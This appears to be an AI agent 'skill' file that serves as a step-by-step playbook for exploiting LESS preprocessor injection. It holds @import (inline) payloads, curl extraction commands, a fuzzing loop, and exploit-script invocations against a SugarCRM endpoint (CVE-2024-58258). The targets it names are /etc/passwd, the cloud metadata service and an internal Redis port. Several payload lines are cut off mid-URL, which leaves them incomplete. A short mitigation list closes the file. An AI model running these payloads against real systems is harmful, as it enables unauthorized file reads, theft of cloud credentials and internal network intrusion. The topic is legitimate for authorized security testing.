| name | less-code-injection |
| description | Exploit LESS code injection vulnerabilities to perform SSRF and local file read attacks. Use this skill whenever you need to test for CSS preprocessor injection, identify vulnerable endpoints that process user input through LESS compilers, or extract sensitive files and cloud metadata via @import (inline) directives. Trigger this skill for any web application security testing involving CSS generation, stylesheet preview endpoints, or when you suspect user-controlled input reaches a LESS processor. |
LESS Code Injection Exploitation
Overview
LESS is a CSS pre-processor that supports the @import directive. When the (inline) option is used, the LESS engine fetches and embeds the referenced resource's contents into the compiled CSS. If user-controlled input is concatenated into a string parsed by the LESS compiler, attackers can inject arbitrary LESS code to:
- Read local files via
file:// protocol (Local File Inclusion)
- Perform SSRF to access internal networks or cloud metadata services
Vulnerability Pattern
User Input → String Concatenation → LESS Compiler → @import (inline) → Arbitrary Resource Fetch
Exploitation Workflow
Step 1: Identify the Injection Point
Look for parameters that are embedded into stylesheet strings processed by LESS:
- URL parameters like
?lm=, ?css=, ?style=
- POST body fields containing CSS or style references
- Endpoints with paths like
/css/preview, /style/generate, /theme/customize
Common indicators:
- Response contains compiled CSS
- Parameter name suggests "last modified" or "cache busting" (e.g.,
lm, cache, v)
- Application has custom theming or CSS preview functionality
Step 2: Craft the Injection Payload
The basic injection pattern:
; @import (inline) '<RESOURCE_URL>'; @import (inline) 'data:text/plain,@@END@@'; //
Components:
; - Terminates the previous CSS declaration
} - Closes any open block (if needed)
@import (inline) '<URL>' - Fetches and inlines the resource
data:text/plain,@@END@@ - Marker to easily extract the fetched content
// - Comment to close the injection
Step 3: Execute the Attack
Local File Read
1; @import (inline) 'file:
@import (inline) 'data:text/plain,@@END@@';
The file contents appear in the HTTP response before the @@END@@ marker.
SSRF - Cloud Metadata
1; @import (inline) "http:
@import (inline) 'data:text/plain,@@END@@';
SSRF - Internal Network Discovery
1; @import (inline) "http:
@import (inline) 'data:text/plain,@@END@@';
SSRF - Internal Service Enumeration
1; @import (inline) "http:
@import (inline) 'data:text/plain,@@END@@';
Step 4: Extract the Response
Parse the HTTP response to find content between the marker and the end of the inlined section:
curl -s "<URL>?<PARAM>=<PAYLOAD>" | sed -n 's/.*@@END@@\(.*\)/\1/p'
curl -s "<URL>?<PARAM>=<PAYLOAD>" | grep -A 100 '@@END@@'
Automated Exploitation
Use the exploit-less-injection.sh script for automated testing:
./exploit-less-injection.sh <TARGET_URL> <RESOURCE_PATH>
Examples:
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "/etc/passwd"
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://169.254.169.254/latest/meta-data/"
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://localhost:6379"
Real-World Cases
| Product | Vulnerable Endpoint | CVE | Impact |
|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | CVE-2024-58258 | Unauthenticated SSRF & local file read |
Detection Techniques
Manual Testing
-
Fuzz the parameter with LESS syntax:
?lm=1; @import (inline) 'data:text/plain,TEST';
If TEST appears in the response, the injection is possible.
-
Check for error messages from the LESS compiler when injecting malformed syntax.
-
Look for compiled CSS in responses that includes your test marker.
Automated Detection
for param in lm css style cache v; do
curl -s "http://target/endpoint?${param}=1;@import(inline)'data:text/plain,INJECTED';" | grep -q INJECTED && echo "VULNERABLE: $param"
done
Mitigation Recommendations
- Never concatenate user input into LESS strings
- Use parameterized LESS compilation with strict input validation
- Disable
@import (inline) if not required
- Implement allowlists for import paths
- Run LESS compilation in a sandbox with network restrictions
References